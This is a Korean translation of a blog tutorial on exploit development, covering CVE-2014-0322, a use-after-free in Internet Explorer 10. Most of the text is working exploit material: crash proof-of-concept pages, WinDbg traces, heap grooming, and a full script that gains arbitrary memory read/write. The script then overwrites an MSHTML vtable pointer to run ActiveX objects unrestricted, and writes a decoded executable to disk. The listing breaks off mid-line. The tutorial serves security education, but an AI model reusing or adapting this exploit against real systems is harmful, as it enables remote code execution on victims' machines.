티스토리 뷰
[익스플로잇 개발] 17. IE 10 (Use-After-Free bug)
hackability 2016. 7. 22. 15:57본 문서는 원문 저자인 Massimiliano Tomassoli의 허락 하에 번역이 되었으며, 원문과 관련된 모든 저작물에 대한 저작권은 원문 저자인 Massimiliano Tomassoli에 있음을 밝힙니다.
http://expdev-kiuhnm.rhcloud.com
최신 윈도우즈 익스플로잇 개발 17. IE 10 (Use-After-Free bug)
hackability.kr (김태범)
hackability_at_naver.com or ktb88_at_korea.ac.kr
2016.07.22
지금까지는 WinDbg를 이용하여 Int32Array의 크기를 수정함으로써 IE 프로세스의 전체 주소 공간에 대해 읽고 쓰기를 할 수 있었습니다. 이제는 UAF 를 이용하여 우리의 익스플로잇 코드를 완성 시킬 시간입니다.
저는 여기서 CVE-2014-0322 의 UAF 를 선택했습니다. 구글링을 통해 추가적인 정보를 얻으실 수 있습니다. 아래는 충돌이 발생하는 POC 입니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 | <!-- CVE-2014-0322 --> <html> <head> </head> <body> <script> function handler() { this.outerHTML = this.outerHTML; } function trigger() { var a = document.getElementsByTagName("script")[0]; a.onpropertychange = handler; var b = document.createElement("div"); b = a.appendChild(b); } trigger(); </script> </body> </html> | cs |
위 코드를 HTML 파일에 복사한뒤 IE 10에서 구동시킵니다. 근데 IE 에서 충돌이 발생하지 않습니다. 왜 그럴까요?
GFlags
WinDbg가 있는 디렉토리에 gflags.exe 라는 프로그램이 있습니다. 이 프로그램은 윈도우즈의 전역 플래그를 변경할 때 사용되는 프로그램 입니다. 이 플래그들은 윈도우즈의 행위에 영향을 주게되어 디버깅 시 굉장히 유용하게 사용됩니다. 여기서는 특히 아래 2개의 플래그를 사용합니다.
1. HPA - Heap Page Allocator
2. UST - User mode Stack Trace
HPA 플래그는 윈도우즈로 하여금 특별한 버전의 힙 할당자를 사용하게 하는데 이는 UAF, 버퍼 오버플로우와 같은 버그들을 탐지하는데 유용합니다. 이는 블록의 끝을 마지막 페이지의 끝과 일치시키기 위해 각각의 블록을 연속된 페이지의 집합에 할당합니다. 할당된 블록 이후의 첫 페이지는 not present 로 마킹됩니다. 이 방법은 버퍼 오버플로우를 간단하고 효과적으로 탐지 합니다. 또한 블록이 할당 해제 되었을 때, 이를 포함한 모든 페이지들이 not present 로 마킹되는데 이는 UAF 를 쉽게 탐지할 수 있습니다.
다음 그림을 보시기 바랍니다.
페이지는 0x1000 바이트 = 4 KB 입니다. 만약 할당된 블록이 4 KB보다 작게 할당된다면 이 크기는 다음과 같은 간단한 공식으로 결정할 수 있습니다.
size(addr) = 0x1000 - (addr & 0xfff)
블록이 페이지의 마지막에 할당되기 때문에 이 공식이 성립합니다. 아래 그림을 보시기 바랍니다.
두 번째 플래그는 UST 로써, 이는 윈도우즈로 하여금 힙 블록이 할당되었든 해제되었든 관계 없이 현재 스택의 스택 트레이스를 저장하게끔 합니다. 이는 어떤 함수나 실행 경로에서 특정 할당 또는 해제가 이루어졌는지 보기에 유용합니다. 앞으로 UAF 버그를 분석하면서 관련 예제를 보도록 하겠습니다.
전역 플래그들은 전역적 또는 이미지 파일기준으로 변경 될 수 있습니다. 여기서 우리는 iexplorer.exe에 HPA 플래그와 UST 플래그를 설정합니다.
먼저, gflags.exe를 실행하고 Image File 탭으로 간 뒤, 이미지 명을 넣고 위 2개의 플래그를 선택합니다.
충돌 발생시키기
이제 IE 에서 POC를 불러오면 충돌이 발생되어야 합니다. WinDbg에서 IE를 디버깅 하면서 이 과정을 진행하면 아래와 같은 예외를 볼 수 있습니다.
6b900fc4 e83669e6ff call MSHTML!CTreePos::SourceIndex (6b7678ff)
6b900fc9 8d45a8 lea eax,[ebp-58h]
6b900fcc 50 push eax
6b900fcd 8bce mov ecx,esi
6b900fcf c745a804000000 mov dword ptr [ebp-58h],4
6b900fd6 c745c400000000 mov dword ptr [ebp-3Ch],0
6b900fdd c745ac00000000 mov dword ptr [ebp-54h],0
6b900fe4 c745c028000000 mov dword ptr [ebp-40h],28h
6b900feb c745b400000000 mov dword ptr [ebp-4Ch],0
6b900ff2 c745b000000000 mov dword ptr [ebp-50h],0
6b900ff9 c745b8ffffffff mov dword ptr [ebp-48h],0FFFFFFFFh
6b901000 c745bcffffffff mov dword ptr [ebp-44h],0FFFFFFFFh
6b901007 e80162e6ff call MSHTML!CMarkup::Notify (6b76720d)
6b90100c ff4678 inc dword ptr [esi+78h] ds:002b:0e12dd38=???????? <---------------------
6b90100f 838e6001000004 or dword ptr [esi+160h],4
6b901016 8bd6 mov edx,esi
6b901018 e8640b0600 call MSHTML!CMarkup::UpdateMarkupContentsVersion (6b961b81)
6b90101d 8b8698000000 mov eax,dword ptr [esi+98h]
6b901023 85c0 test eax,eax
6b901025 7416 je MSHTML!CMarkup::NotifyElementEnterTree+0x297 (6b90103d)
6b901027 81bea4010000905f0100 cmp dword ptr [esi+1A4h],15F90h
6b901031 7c0a jl MSHTML!CMarkup::NotifyElementEnterTree+0x297 (6b90103d)
6b901033 8b4008 mov eax,dword ptr [eax+8]
6b901036 83a0f0020000bf and dword ptr [eax+2F0h],0FFFFFFBFh
6b90103d 8d7dd8 lea edi,[ebp-28h]
보아하니 ESI가 danling pointer 인 것 같습니다.
스택 트레이스를 보면 다음과 같습니다.
0:007> k 10
ChildEBP RetAddr
0a10b988 6b90177b MSHTML!CMarkup::NotifyElementEnterTree+0x266
0a10b9cc 6b9015ef MSHTML!CMarkup::InsertSingleElement+0x169
0a10baac 6b901334 MSHTML!CMarkup::InsertElementInternalNoInclusions+0x11d
0a10bad0 6b9012f6 MSHTML!CMarkup::InsertElementInternal+0x2e
0a10bb10 6b901393 MSHTML!CDoc::InsertElement+0x9c
0a10bbd8 6b7d0420 MSHTML!InsertDOMNodeHelper+0x454
0a10bc50 6b7d011c MSHTML!CElement::InsertBeforeHelper+0x2a8
0a10bcb4 6b7d083c MSHTML!CElement::InsertBeforeHelper+0xe4
0a10bcd4 6b7d2de4 MSHTML!CElement::InsertBefore+0x36
0a10bd60 6b7d2d01 MSHTML!CElement::Var_appendChild+0xc7
0a10bd90 0c17847a MSHTML!CFastDOM::CNode::Trampoline_appendChild+0x55
0a10bdf8 0c176865 jscript9!Js::JavascriptExternalFunction::ExternalFunctionThunk+0x185
0a10bf94 0c175cf5 jscript9!Js::InterpreterStackFrame::Process+0x9d4
0a10c0b4 09ee0fe1 jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x305
WARNING: Frame IP not in any known module. Following frames may be wrong.
0a10c0c0 0c1764ff 0x9ee0fe1
0a10c254 0c175cf5 jscript9!Js::InterpreterStackFrame::Process+0x1b57
객체 (지금 해제된)의 크기를 구해보도록 하겠습니다.
0:007> ? 1000 - (@esi & fff)
Evaluate expression: 832 = 00000340
물론, 여기서는 객체의 크기가 0x1000 바이트 보다 작다고 가정합니다. 아래는 해당 스택 트레이스에 대한 내용입니다.
0:007> !heap -p -a @esi
address 0e12dcc0 found in
_DPH_HEAP_ROOT @ 141000
in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize)
e2d0b94: e12d000 2000
733990b2 verifier!AVrfDebugPageHeapFree+0x000000c2
772b1564 ntdll!RtlDebugFreeHeap+0x0000002f
7726ac29 ntdll!RtlpFreeHeap+0x0000005d
772134a2 ntdll!RtlFreeHeap+0x00000142
74f414ad kernel32!HeapFree+0x00000014
6b778f06 MSHTML!CMarkup::`vector deleting destructor'+0x00000026
6b7455da MSHTML!CBase::SubRelease+0x0000002e
6b774183 MSHTML!CMarkup::Release+0x0000002d
6bb414d1 MSHTML!InjectHtmlStream+0x00000716
6bb41567 MSHTML!HandleHTMLInjection+0x00000082
6bb3cfec MSHTML!CElement::InjectInternal+0x00000506
6bb3d21d MSHTML!CElement::InjectTextOrHTML+0x000001a4
6ba2ea80 MSHTML!CElement::put_outerHTML+0x0000001d <----------------------------------
6bd3309c MSHTML!CFastDOM::CHTMLElement::Trampoline_Set_outerHTML+0x00000054 <---------------------
0c17847a jscript9!Js::JavascriptExternalFunction::ExternalFunctionThunk+0x00000185
0c1792c5 jscript9!Js::JavascriptArray::GetSetter+0x000000cf
0c1d6c56 jscript9!Js::InterpreterStackFrame::OP_ProfiledSetProperty<0,Js::OpLayoutElementCP_OneByte>+0x000005a8
0c1ac53b jscript9!Js::InterpreterStackFrame::Process+0x00000fbf
0c175cf5 jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x00000305
위 내용은 ESI가 정말 danling pointer 임을 보여줍니다. 함수들의 이름으로 보아 handler 함수 내부에서 해제된 객체에 할당하는 것을 볼 수 있습니다.
this.outerHTML = this.outerHTML;
이 뜻은 할당 직후 메모리에서 기존의 객체에 새로운 객체로 교체하기 위한 할당을 해야 됨을 의미합니다. 우리는 exploitme5 에서 UAF 버그가 어떻게 익스플로잇 되는지 보았습니다. 여기서는 이 부분에 대해 다시 언급하지 않도록 하겠습니다.
여기서 우리는 해제된 객체의 크기와 동일한 새로운 객체의 할당을 해야 합니다. 이를 통해, 새로운 객체는 해제된 객체가 메모리에서 점유하고 있던 동일한 위치에 할당 될 것 입니다. 객체의 크기가 0x340 바이트라는 것을 알았기 때문에 null로 끝나는 Unicode 문자열을 만들어 줍니다. (0x340/2 – 1 = 0x19f = 415 wchars)
첫 번째로, 정확히 어디서 충돌이 발생됫는지 알아보도록 하겠습니다.
0:007> !address @eip
Mapping file section regions...
Mapping module regions...
Mapping PEB regions...
Mapping TEB and stack regions...
Mapping heap regions...
Mapping page heap regions...
Mapping other regions...
Mapping stack trace database regions...
Mapping activation context regions...
Usage: Image
Base Address: 6c4a1000
End Address: 6d0ef000
Region Size: 00c4e000
State: 00001000 MEM_COMMIT
Protect: 00000020 PAGE_EXECUTE_READ
Type: 01000000 MEM_IMAGE
Allocation Base: 6c4a0000
Allocation Protect: 00000080 PAGE_EXECUTE_WRITECOPY
Image Path: C:\Windows\system32\MSHTML.dll
Module Name: MSHTML
Loaded Image Name: C:\Windows\system32\MSHTML.dll
Mapped Image Name:
More info: lmv m MSHTML
More info: !lmi MSHTML
More info: ln 0x6c6c100c
More info: !dh 0x6c4a0000
0:007> ? @eip-mshtml
Evaluate expression: 2232332 = 0022100c
mshtml + 0x22100c의 위치에서 예외가 발생되었습니다. WinDbg와 IE를 종료하고 다시 실행 시킨 뒤에 IE에서 POC를 열고 충돌이 발생된 지점에 breakpoint를 설정합니다.
bp mshtml + 0x22100c
IE 에서 차단된 콘텐츠 허용을 하시면 예외가 발생되기 직전에 breakpoint가 실행됩니다. 이 방법은 간단하지만 항상 이런식으로 찾을 수 있는 것은 아닙니다. 때때로 동일한 코드가 예외가 발생되기 전에 수백 번씩 실행되곤 합니다...
이제 적절한 크기의 객체를 할당해보도록 하겠습니다. 아래는 POC 입니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 | <!-- CVE-2014-0322 --> <html> <head> </head> <body> <script> function handler() { this.outerHTML = this.outerHTML; elem = document.createElement("div"); elem.className = new Array(416).join("a"); // Nice trick to generate a string with 415 "a" } function trigger() { var a = document.getElementsByTagName("script")[0]; a.onpropertychange = handler; var b = document.createElement("div"); b = a.appendChild(b); } trigger(); </script> </body> </html> | cs |
415개의 “a” 문자열을 생성하는 방식을 기억해두세요.
IE 에서 POC를 열기 전에, HPA 플래그와 UST 플래그를 비활성화 시켜야 합니다. (UST는 문제가 되진 않지만 일단 꺼둡니다.)
이제 IE에서 POC를 다시 열고 mshtml + 0x22100c에 breakpoint를 설정한 뒤 무슨일이 일어나는지 보도록 하겠습니다.
훌륭하군요! ESI가 우리의 객체 (“a”)를 가리키고 있고 이제 실행 흐름을 조작 할 수 있습니다. 우리의 목표는 0x0c0af01b 주소에 0x20를 쓸수 있도록 하는 것 입니다. 지금쯤이면 이 주소는 외우고 있어야 합니다.
아마 여기서 왜 DOM 요소의 className 속성에 문자열을 할당하는지 궁금하실 겁니다.
var str = new Array(416).join("a");
elem.className에 문자열을 할당할 시, 문자열이 복사되고 이 복사본은 DOM 요소의 속성에 할당됩니다. 이는 문자열의 복사본이 UAF 버그에 의해 해제된 객체와 동일한 힙에 할당 됨을 알 수 있습니다. 단순히 ArrayBuffer로 0x340바이트 할당을 해보시면 ArrayBuffer의 raw 버퍼가 다른 힙에 할당되어 동작하지 않는 것을 확인하실 수 있습니다.
실행 흐름 조작
다음 과정으로는 충돌 지점으로부터 임의 주소에 쓰기를 할 수 있는 적절한 명령어를 찾는 것 입니다. 다시 말하지만 IDA를 사용 할 것 입니다. IDA가 얼마나 유용한지는 아무리 강조해도 지나치지 않습니다.
우리는 mshtml + 0x22100c에서 충돌이 발생되었음을 알았습니다. 따라서, mshtml.dll 라이브러리에 대해 디스어셈블을 할 필요가 있습니다. 경로를 찾아보도록 하겠습니다.
0:016> lmf m mshtml
start end module name
6b6e0000 6c491000 MSHTML C:\Windows\system32\MSHTML.dll
IDA 에서 해당 .dll을 열고 마이크로소프트 서버에서 심볼들을 불러오는 것을 허용하시기 바랍니다. View -> Open subviews -> Segments로 이동하면 mshtml의 기본 주소를 알 수 있습니다.
보시다시피, 기본 주소는 0x63580000 입니다. 이제 Program Segmentation 탭을 닫고 g를 눌러 0x63580000 + 0x22100c를 입력하면 충돌 지점을 확인하실 수 있습니다.
분석을 시작해보도록 하겠습니다.
우리가 할당한 문자열은 null wchars를 갖을 수 없기 때문에 [esi + 98h]의 값은 0이 아닙니다. 이러한 이유로 실행 흐름은 [esi + 1a4h]와 15f90h를 비교하는 두 번째 노드로 가게 됩니다. 세 번째 노드를 무시하기 위해 [esi + 1a4h]를 11111h로 만들어 충돌은 쉽게 피할 수 있지만 [eax + 2f0h]에 쓰기 위해 뭔가 작업이 필요합니다.
위 그림으로 설명이 충분합니다. 이것을 이해하기 위해 중요한 부분이 있습니다. 0xc0af000에있는Int32Array의 크기를 조작하고 싶지만 아직 해당 주소의 값을 조작할 수 없습니다. 하지만 주소 0xc0af01c가 Int32Array와 연관된 raw 버퍼의 주소임을 알 고 있습니다. 우리는 raw 버퍼의 주소는 모르지만 0xc0af01c의 주소는 찾을 수 있습니다. 이제 raw 버퍼의 오프셋 1c0h가 0이 되도록 합니다. 하지만, raw 버퍼는 0x58 바이트 입니다. 기억할 것이, raw 버퍼는 LargeHeapBlock의 크기와 동일해야 하기 때문에 더 크게 할당을 할 수 없다는 점 입니다. 이를 해결하기 위한 간단한 방법으로는 더 많은 raw 버퍼를 할당하는 것 입니다.
메모리 배치에 대해 정리를 해보도록 하겠습니다.
Object size = 0x340 = 832
offset: value
94h: 0c0af010h
(X = [obj_addr+94h] = 0c0af010h ==> Y = [X+0ch] = raw_buf_addr ==> [Y+1c0h] is 0)
0ach: 0c0af00bh
(X = [obj_addr+0ach] = 0c0af00bh ==> inc dword ptr [X+10h] ==> inc dword ptr [0c0af01bh])
1a4h: 11111h
(X = [obj_addr+1a4h] = 11111h < 15f90h)
html 파일의 몇몇 부분을 수정해야 합니다.
먼저, UAF 버그를 발생시키는 것과 실행 흐름을 조작할 수 있는 코드를 추가합니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 | function getFiller(n) { return new Array(n+1).join("a"); } function getDwordStr(val) { return String.fromCharCode(val % 0x10000, val / 0x10000); } function handler() { this.outerHTML = this.outerHTML; // Object size = 0x340 = 832 // offset: value // 94h: 0c0af010h // (X = [obj_addr+94h] = 0c0af010h ==> Y = [X+0ch] = raw_buf_addr ==> [Y+1c0h] is 0) // 0ach: 0c0af00bh // (X = [obj_addr+0ach] = 0c0af00bh ==> inc dword ptr [X+10h] ==> inc dword ptr [0c0af01bh]) // 1a4h: 11111h // (X = [obj_addr+1a4h] = 11111h < 15f90h) elem = document.createElement("div"); elem.className = getFiller(0x94/2) + getDwordStr(0xc0af010) + getFiller((0xac - (0x94 + 4))/2) + getDwordStr(0xc0af00b) + getFiller((0x1a4 - (0xac + 4))/2) + getDwordStr(0x11111) + getFiller((0x340 - (0x1a4 + 4))/2 - 1); // -1 for string-terminating null wchar } function trigger() { var a = document.getElementsByTagName("script")[0]; a.onpropertychange = handler; var b = document.createElement("div"); b = a.appendChild(b); } | cs |
다음으로, 전에 설명했듯이, 4개의 ArrayBuffer를 생성합니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 | a = new Array(); // 8-byte header | 0x58-byte LargeHeapBlock // 8-byte header | 0x58-byte LargeHeapBlock // 8-byte header | 0x58-byte LargeHeapBlock // . // . // . // 8-byte header | 0x58-byte LargeHeapBlock // 8-byte header | 0x58-byte ArrayBuffer (buf) // 8-byte header | 0x58-byte ArrayBuffer (buf2) // 8-byte header | 0x58-byte ArrayBuffer (buf3) // 8-byte header | 0x58-byte ArrayBuffer (buf4) // 8-byte header | 0x58-byte ArrayBuffer (buf5) // 8-byte header | 0x58-byte LargeHeapBlock // . // . // . for (i = 0; i < 0x300; ++i) { a[i] = new Array(0x3c00); if (i == 0x100) { buf = new ArrayBuffer(0x58); // must be exactly 0x58! buf2 = new ArrayBuffer(0x58); // must be exactly 0x58! buf3 = new ArrayBuffer(0x58); // must be exactly 0x58! buf4 = new ArrayBuffer(0x58); // must be exactly 0x58! buf5 = new ArrayBuffer(0x58); // must be exactly 0x58! } for (j = 0; j < a[i].length; ++j) a[i][j] = 0x123; } | cs |
ArrayBuffers 4개를 더 추가하게 되면, 첫 번째 raw buffer의 주소를 연산하기 위해 코드를 수정해야 합니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 | // This is just an example. // The buffer of int32array starts at 03c1f178 and is 0x58 bytes. // The next LargeHeapBlock, preceded by 8 bytes of header, starts at 03c1f1d8. // The value in parentheses, at 03c1f178+0x60+0x24, points to the following // LargeHeapBlock. // // 03c1f178: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 // 03c1f198: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 // 03c1f1b8: 00000000 00000000 00000000 00000000 00000000 00000000 014829e8 8c000000 // ... we added four more raw buffers ... // 03c1f1d8: 70796e18 00000003 08100000 00000010 00000001 00000000 00000004 0810f020 // 03c1f1f8: 08110000(03c1f238)00000000 00000001 00000001 00000000 03c15b40 08100000 // 03c1f218: 00000000 00000000 00000000 00000004 00000001 00000000 01482994 8c000000 // 03c1f238: ... // We check that the structure above is correct (we check the first LargeHeapBlocks). // 70796e18 = jscript9!LargeHeapBlock::`vftable' = jscript9 + 0x6e18 var vftptr1 = int32array[0x60*5/4], vftptr2 = int32array[0x60*6/4], vftptr3 = int32array[0x60*7/4], nextPtr1 = int32array[(0x60*5+0x24)/4], nextPtr2 = int32array[(0x60*6+0x24)/4], nextPtr3 = int32array[(0x60*7+0x24)/4]; if (vftptr1 & 0xffff != 0x6e18 || vftptr1 != vftptr2 || vftptr2 != vftptr3 || nextPtr2 - nextPtr1 != 0x60 || nextPtr3 - nextPtr2 != 0x60) { // alert("Error 1!"); window.location.reload(); return; } buf_addr = nextPtr1 - 0x60*6; | cs |
기본적으로, 기존 raw 버퍼 이후 새로운 4개의 raw 버퍼를 위해 int32array[0x60*N/4]를 int32array[0x60*(N+4)/4] 로 변경합니다. 또한 마지막 줄 역시 동일한 이유로
buf_addr = nextPtr1 - 0x60*2
에서
buf_addr = nextPtr1 - 0x60*(2+4)
로 변경되어야 합니다.
저는 작업을 진행하면서 SaveToFile에서 실패할 때가 있었는데, 이때는 페이지를 다시 불러오는 방식으로 진행했습니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 | function createExe(fname, data) { GodModeOn(); var tStream = new ActiveXObject("ADODB.Stream"); var bStream = new ActiveXObject("ADODB.Stream"); GodModeOff(); tStream.Type = 2; // text bStream.Type = 1; // binary tStream.Open(); bStream.Open(); tStream.WriteText(data); tStream.Position = 2; // skips the first 2 bytes in the tStream (what are they?) tStream.CopyTo(bStream); var bStream_addr = get_addr(bStream); var string_addr = read(read(bStream_addr + 0x50) + 0x44); write(string_addr, 0x003a0043); // 'C:' write(string_addr + 4, 0x0000005c); // '\' try { bStream.SaveToFile(fname, 2); // 2 = overwrites file if it already exists } catch(err) { return 0; } tStream.Close(); bStream.Close(); return 1; } . . . if (createExe(fname, decode(runcalc)) == 0) { // alert("SaveToFile failed"); window.location.reload(); return 0; } | cs |
아래는 전체 코드 입니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 | <html> <head> <script language="javascript"> function getFiller(n) { return new Array(n+1).join("a"); } function getDwordStr(val) { return String.fromCharCode(val % 0x10000, val / 0x10000); } function handler() { this.outerHTML = this.outerHTML; // Object size = 0x340 = 832 // offset: value // 94h: 0c0af010h // (X = [obj_addr+94h] = 0c0af010h ==> Y = [X+0ch] = raw_buf_addr ==> [Y+1c0h] is 0) // 0ach: 0c0af00bh // (X = [obj_addr+0ach] = 0c0af00bh ==> inc dword ptr [X+10h] ==> inc dword ptr [0c0af01bh]) // 1a4h: 11111h // (X = [obj_addr+1a4h] = 11111h < 15f90h) elem = document.createElement("div"); elem.className = getFiller(0x94/2) + getDwordStr(0xc0af010) + getFiller((0xac - (0x94 + 4))/2) + getDwordStr(0xc0af00b) + getFiller((0x1a4 - (0xac + 4))/2) + getDwordStr(0x11111) + getFiller((0x340 - (0x1a4 + 4))/2 - 1); // -1 for string-terminating null wchar } function trigger() { var a = document.getElementsByTagName("script")[0]; a.onpropertychange = handler; var b = document.createElement("div"); b = a.appendChild(b); } (function() { // alert("Starting!"); CollectGarbage(); //----------------------------------------------------- // From one-byte-write to full process space read/write //----------------------------------------------------- a = new Array(); // 8-byte header | 0x58-byte LargeHeapBlock // 8-byte header | 0x58-byte LargeHeapBlock // 8-byte header | 0x58-byte LargeHeapBlock // . // . // . // 8-byte header | 0x58-byte LargeHeapBlock // 8-byte header | 0x58-byte ArrayBuffer (buf) // 8-byte header | 0x58-byte ArrayBuffer (buf2) // 8-byte header | 0x58-byte ArrayBuffer (buf3) // 8-byte header | 0x58-byte ArrayBuffer (buf4) // 8-byte header | 0x58-byte ArrayBuffer (buf5) // 8-byte header | 0x58-byte LargeHeapBlock // . // . // . for (i = 0; i < 0x300; ++i) { a[i] = new Array(0x3c00); if (i == 0x100) { buf = new ArrayBuffer(0x58); // must be exactly 0x58! buf2 = new ArrayBuffer(0x58); // must be exactly 0x58! buf3 = new ArrayBuffer(0x58); // must be exactly 0x58! buf4 = new ArrayBuffer(0x58); // must be exactly 0x58! buf5 = new ArrayBuffer(0x58); // must be exactly 0x58! } for (j = 0; j < a[i].length; ++j) a[i][j] = 0x123; } // 0x0: ArrayDataHead // 0x20: array[0] address // 0x24: array[1] address // ... // 0xf000: Int32Array // 0xf030: Int32Array // ... // 0xffc0: Int32Array // 0xfff0: align data for (; i < 0x300 + 0x400; ++i) { a[i] = new Array(0x3bf8) for (j = 0; j < 0x55; ++j) a[i][j] = new Int32Array(buf) } // vftptr // 0c0af000: 70583b60 031c98a0 00000000 00000003 00000004 00000000 20000016 08ce0020 // 0c0af020: 03133de0 array_len buf_addr // jsArrayBuf // We increment the highest byte of array_len 20 times (which is equivalent to writing 0x20). for (var k = 0; k < 0x20; ++k) trigger(); // Now let's find the Int32Array whose length we modified. int32array = 0; for (i = 0x300; i < 0x300 + 0x400; ++i) { for (j = 0; j < 0x55; ++j) { if (a[i][j].length != 0x58/4) { int32array = a[i][j]; break; } } if (int32array != 0) break; } if (int32array == 0) { // alert("Can't find int32array!"); window.location.reload(); return; } // This is just an example. // The buffer of int32array starts at 03c1f178 and is 0x58 bytes. // The next LargeHeapBlock, preceded by 8 bytes of header, starts at 03c1f1d8. // The value in parentheses, at 03c1f178+0x60+0x24, points to the following // LargeHeapBlock. // // 03c1f178: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 // 03c1f198: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 // 03c1f1b8: 00000000 00000000 00000000 00000000 00000000 00000000 014829e8 8c000000 // ... we added four more raw buffers ... // 03c1f1d8: 70796e18 00000003 08100000 00000010 00000001 00000000 00000004 0810f020 // 03c1f1f8: 08110000(03c1f238)00000000 00000001 00000001 00000000 03c15b40 08100000 // 03c1f218: 00000000 00000000 00000000 00000004 00000001 00000000 01482994 8c000000 // 03c1f238: ... // We check that the structure above is correct (we check the first LargeHeapBlocks). // 70796e18 = jscript9!LargeHeapBlock::`vftable' = jscript9 + 0x6e18 var vftptr1 = int32array[0x60*5/4], vftptr2 = int32array[0x60*6/4], vftptr3 = int32array[0x60*7/4], nextPtr1 = int32array[(0x60*5+0x24)/4], nextPtr2 = int32array[(0x60*6+0x24)/4], nextPtr3 = int32array[(0x60*7+0x24)/4]; if (vftptr1 & 0xffff != 0x6e18 || vftptr1 != vftptr2 || vftptr2 != vftptr3 || nextPtr2 - nextPtr1 != 0x60 || nextPtr3 - nextPtr2 != 0x60) { // alert("Error 1!"); window.location.reload(); return; } buf_addr = nextPtr1 - 0x60*6; // Now we modify int32array again to gain full address space read/write access. if (int32array[(0x0c0af000+0x1c - buf_addr)/4] != buf_addr) { // alert("Error 2!"); window.location.reload(); return; } int32array[(0x0c0af000+0x18 - buf_addr)/4] = 0x20000000; // new length int32array[(0x0c0af000+0x1c - buf_addr)/4] = 0; // new buffer address function read(address) { var k = address & 3; if (k == 0) { // #### return int32array[address/4]; } else { alert("to debug"); // .### #... or ..## ##.. or ...# ###. return (int32array[(address-k)/4] >> k*8) | (int32array[(address-k+4)/4] << (32 - k*8)); } } function write(address, value) { var k = address & 3; if (k == 0) { // #### int32array[address/4] = value; } else { // .### #... or ..## ##.. or ...# ###. alert("to debug"); var low = int32array[(address-k)/4]; var high = int32array[(address-k+4)/4]; var mask = (1 << k*8) - 1; // 0xff or 0xffff or 0xffffff low = (low & mask) | (value << k*8); high = (high & (0xffffffff - mask)) | (value >> (32 - k*8)); int32array[(address-k)/4] = low; int32array[(address-k+4)/4] = high; } } //--------- // God mode //--------- // At 0c0af000 we can read the vfptr of an Int32Array: // jscript9!Js::TypedArray<int>::`vftable' @ jscript9+3b60 jscript9 = read(0x0c0af000) - 0x3b60; // Now we need to determine the base address of MSHTML. We can create an HTML // object and write its reference to the address 0x0c0af000-4 which corresponds // to the last element of one of our arrays. // Let's find the array at 0x0c0af000-4. for (i = 0x200; i < 0x200 + 0x400; ++i) a[i][0x3bf7] = 0; // We write 3 in the last position of one of our arrays. IE encodes the number x // as 2*x+1 so that it can tell addresses (dword aligned) and numbers apart. // Either we use an odd number or a valid address otherwise IE will crash in the // following for loop. write(0x0c0af000-4, 3); leakArray = 0; for (i = 0x200; i < 0x200 + 0x400; ++i) { if (a[i][0x3bf7] != 0) { leakArray = a[i]; break; } } if (leakArray == 0) { // alert("Can't find leakArray!"); window.location.reload(); return; } function get_addr(obj) { leakArray[0x3bf7] = obj; return read(0x0c0af000-4, obj); } // Back to determining the base address of MSHTML... // Here's the beginning of the element div: // +----- jscript9!Projection::ArrayObjectInstance::`vftable' // v // 70792248 0c012b40 00000000 00000003 // 73b38b9a 00000000 00574230 00000000 // ^ // +---- MSHTML!CBaseTypeOperations::CBaseFinalizer = mshtml + 0x58b9a var addr = get_addr(document.createElement("div")); mshtml = read(addr + 0x10) - 0x58b9a; // vftable // +-----> +------------------+ // | | | // | | | // | 0x10:| jscript9+0x10705e| --> "XCHG EAX,ESP | ADD EAX,71F84DC0 | // | | | MOV EAX,ESI | POP ESI | RETN" // | 0x14:| jscript9+0xdc164 | --> "LEAVE | RET 4" // | +------------------+ // object | // EAX ---> +-------------------+ | // | vftptr |-----+ // | jscript9+0x15f800 | --> "XOR EAX,EAX | RETN" // | jscript9+0xf3baf | --> "XCHG EAX,EDI | RETN" // | jscript9+0xdc361 | --> "LEAVE | RET 4" // +-------------------+ var old = read(mshtml+0xc555e0+0x14); write(mshtml+0xc555e0+0x14, jscript9+0xdc164); // God Mode On! var shell = new ActiveXObject("WScript.shell"); write(mshtml+0xc555e0+0x14, old); // God Mode Off! addr = get_addr(ActiveXObject); var pp_obj = read(read(addr + 0x28) + 4) + 0x1f0; // ptr to ptr to object var old_objptr = read(pp_obj); var old_vftptr = 